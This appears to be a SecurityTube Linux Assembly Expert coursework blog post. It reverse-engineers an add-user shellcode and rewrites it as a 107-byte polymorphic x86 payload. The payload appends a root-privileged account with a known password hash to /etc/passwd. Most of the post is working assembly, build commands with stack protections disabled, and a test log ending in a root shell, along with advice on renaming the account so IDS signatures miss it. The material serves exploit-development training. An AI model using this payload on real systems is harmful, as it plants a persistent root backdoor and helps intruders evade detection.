SLAE32 Assignment 6.3 - Polymorphic Add User /etc/passwd
Overview
This shellcode is a polymorphic version of zillions w000t-shell.c
shellcode.
- The original shellcode can be found at: http://shell-storm.org/shellcode/files/shellcode-543.php.
- The original shellcode is
137 bytes
. - The final polymorphic version of the shellcode is
107 bytes
.
Analyzing the Shellcode
To begin to create a polymorphic version of this shellcode I first had to understand it.
Since there was only the hex of the shellcode in the post, I reverse engineered the hex and created this mock-up of the original Assembly Instructions.
Mock-up of Original Shellcode
global _start
section .text
_start:
jmp short jmp2call ; jump2call so we can get the string location on the stack.
string2stack:
pop esi ; pop memory location of string "/bin/sh#-c#/bin/echo.." into esi
xor eax, eax ; clear out eax register
mov byte [esi +7], al ; Null byte to terminate string "/bin/sh"
mov byte [esi +10], al ; Null byte to terminate string "-c"
mov byte [esi +71], al ; Null byte to terminate string
; "/bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd"
mov dword [esi +73], esi ; argv[] array start. Memory pointer to string "/bin/sh"
lea ebx, [esi +8] ; move pointer to string "-c" into ebx register
mov dword [esi +77], ebx ; argv[] 2nd arg. Memory location of "-c" anfter first string,
lea ebx, [esi +11] ; move pointer to string "/bin/echo..." into ebx register
mov dword [esi +81], ebx ; argv[] 3rd arg. Mem location to "/bin/echo.." string
mov dword [esi +85], eax ; argv[] Null dword terminator.
mov al, 0xb ; 11 - syscall for execve
mov ebx, esi ; location of string "/bin/sh" for program filename
lea ecx, [esi +73] ; argv pointers to args
lea edx, [esi +85] ; fill edx with null dword
int 0x80 ; executes execve systemcall
jmp2call:
call string2stack ; jumps 2 next instruction and pushes memory location of string
; below onto the stack.
string db "/bin/sh#-c#/bin/echo w000t::0:0:s4fem0de:/root:/bin/bash >> /etc/passwd#AAAABBBBCCCCDDDD"
; 0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567
; 1 2 3 4 5 6 7 8
- The code was compilted & tested; works as intended.
- To find the intructions gdb was used.
Problem with this Shellcode
- When this shellcode was created, linux systems would allow an account with no password to be logged in by anyone.
- Modern Linux systems, will lock the account if it has no password.
- Any attempt to login will recieve the error
"Authentication Failure"
. - Deleting a password is now a technique for sys-admins to lock a users account.
Creating a Hashed Password for /etc/passwd
user$ openssl passwd ctl
NNwZ8D1QjVy3Y
- This creates the hash for the password
ctl
. - We will use this in the second field of
/etc/passwd
line.
w000t username
- The strings
w00t
&w000t
are frequently used in known exploits. - Highly likely an IPS/IDS will flag these strings.
- the username
ctl
was used instead.
Changing the Shellcode
argv[] / ECX - Stack instead of Code Section
In the original shellcode, JMP|Call|POP
was used to load the memory address of the string into the esi
register.
- All pointers to fufill the second arguments
argv[]
, forexecve
where within this string. - In the polymorphic version, all of the arguements for
argv[]
on thestack
.
argv[3] - End the argv[] Array
xor eax, eax ; clear out eax register
snip--
push eax ; push to stack argv[] Null dword array terminator.
argv[2] - Arguements to Flag
mov byte [esi +61], al ; Null byte to terminate string
; "/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
lea ebx, [esi +3] ; move pointer to string "/bin/echo..." into ebx register
push ebx ; argv[] 3rd arg. Mem location to "/bin/echo.." string
argv[1] - Flag of Program
mov byte [esi +2], al ; Null byte to terminate string "-c"
lea ebx, [esi] ; move pointer to string "-c" into ebx register
push ebx ; argv[] 2nd arg. Memory location of "-c" anfter first string,
argv[0] - Pointer to Program Path
push eax ; push to null terminator for string "/bin//sh" on the stack.
push dword [esi +42] ; push "//sh" onto the stack.
push dword [esi +38] ; push "/bin" onto the stack.
lea ecx, [esp] ; save for later for ebx
snip--
mov ebx, ecx ; memory address of "/bin//sh" on the stack
push ebx ; argv[] array start. Memory pointer to string "/bin/sh"
snip--
mov ecx, esp ; point ecx to top of stack
Reuse the “/bin//sh” in the string memory
- Since the string already has
/bin//sh
the leading/bin//sh
was deleted.- This memory location of
/bin//sh
in the string was used to fufill theebx
register.
- This memory location of
- The string was changed from “/bin/sh” to “/bin//sh”
- This way it fits into 2
DWORD
s. - These
DWORD
s were pushed on to the stack.
- This way it fits into 2
xor eax, eax ; clear out eax register
push eax ; push to null terminator for string "/bin//sh" on the stack.
push dword [esi +42] ; push "//sh" onto the stack.
push dword [esi +38] ; push "/bin" onto the stack.
lea ecx, [esp] ; save for later for ebx
snip--
mov ebx, ecx ; memory address of "/bin//sh" on the stack
Final Polymorphic Shellcode
global _start
section .text
_start:
jmp short jmp2call ; jump2call so we can get the string location on the stack.
string2stack:
pop esi ; pop memory location of string "/bin/sh#-c#/bin/echo.." into esi
xor eax, eax ; clear out eax register
push eax ; push to null terminator for string "/bin//sh" on the stack.
lea edx, [esp] ; fill edx with pointer to null dword
push dword [esi +42] ; push "//sh" onto the stack.
push dword [esi +38] ; push "/bin" onto the stack.
lea ecx, [esp] ; save for later for ebx
mov byte [esi +2], al ; Null byte to terminate string "-c"
mov byte [esi +61], al ; Null byte to terminate string
; "/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
push eax ; push to stack argv[] Null dword array terminator.
lea ebx, [esi +3] ; move pointer to string "/bin/echo..." into ebx register
push ebx ; argv[] 3rd arg. Mem location to "/bin/echo.." string
lea ebx, [esi] ; move pointer to string "-c" into ebx register
push ebx ; argv[] 2nd arg. Memory location of "-c" anfter first string,
mov ebx, ecx ; memory address of "/bin//sh" on the stack
push ebx ; argv[] array start. Memory pointer to string "/bin/sh"
mov ecx, esp ; point ecx to top of stack
mov al, 0xb ; 11 - syscall for execve
int 0x80 ; executes execve systemcall
jmp2call:
call string2stack ; jumps 2 next instruction and pushes memory location of string
; below onto the stack.
string db "-c#/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh >> /etc/passwd"
; 01234567890123456789012345678901234567890123456789012345678901
; 1 2 3 4 5 6
; string db "/bin/sh#-c#/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
- The users shell was changed from
/bin/bash
to/bin//sh
.- The number of
/
characters does not matter for calling a program by its full path in Linux. -
/bin/sh
is more universal than/bin/bash
. - Using
/bin/sh
also shortens the final length of the shellcode.
- The number of
- The
#
at the end of the echo string was also removed.- Since the string is at the end of shellcode memory, it should not matter if we overwrite this
byte
in thecode segment
.
- Since the string is at the end of shellcode memory, it should not matter if we overwrite this
Testing the Shellcode
Getting the Hex of the Shellcode
Compiling & Linking the Shellcode
root# nasm -f elf32 poly3.addAcct.nasm -o poly3.addAcct.o
root# ld -z execstack poly3.addAcct.o -o poly3.addAcct
Overcoming Problems with Objdump CL-Fu
Dump the Hex with Object Dump
- Unfortunately our objdump command line fu does not work for this shellcode.
- To remedy this issues,
objdump -d poly3.addAcct
was used. - Byobu was used to grab the shellcode hex from the output.
-
F7
to enter copy-mode -
space
+v
to select text with a box -
enter
to copy to clipboard -
ctrl+a
+]
to pasteVi to Format the Hex from Byobu Buffer
-
-
vim-fu was used to format the hex into the needed C format.
- Delete unneeded lines
dd
-
:%s/ *$//g
- Delete extra space characters at the end of the lines.
-
:se nu
- See the line numbers
-
gg
- go to the first character of the first line
-
i
+<space>
- Put a space before the first hex character
-
48 J
- Join all 48 lines together
-
%s/ /\\x/g
- Replace all spaces with the C hex indicator
- Delete unneeded lines
Add the Shellcode to Host Program
Compiling Host Program
root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
Testing the Injected Shellcode
root# tail -n 1 /etc/passwd
user:x:1000:1000:user,,,:/home/user:/bin/bash
root# ./shellcode
Shellcode Length: 107
root# tail -n 1 /etc/passwd
ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
- Here we see that our user line has successfully been appended to the /etc/passwd file.
Testing our new UID 0 User
root# su user
user$ su ctl
Password: ctl
# id
uid=0(root) gid=0(root) groups=0(root)
#
- Great Success!
- We changed to a lower level user because changing to a user as root does not require any authentication.
- Our username ctl does not show since the root user is mapped to UID + GID 0.
SLAE32 Blog Proof
This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
- Now at: https://www.pentesteracademy.com/course?id=3
SLAE/Student ID: PA-10913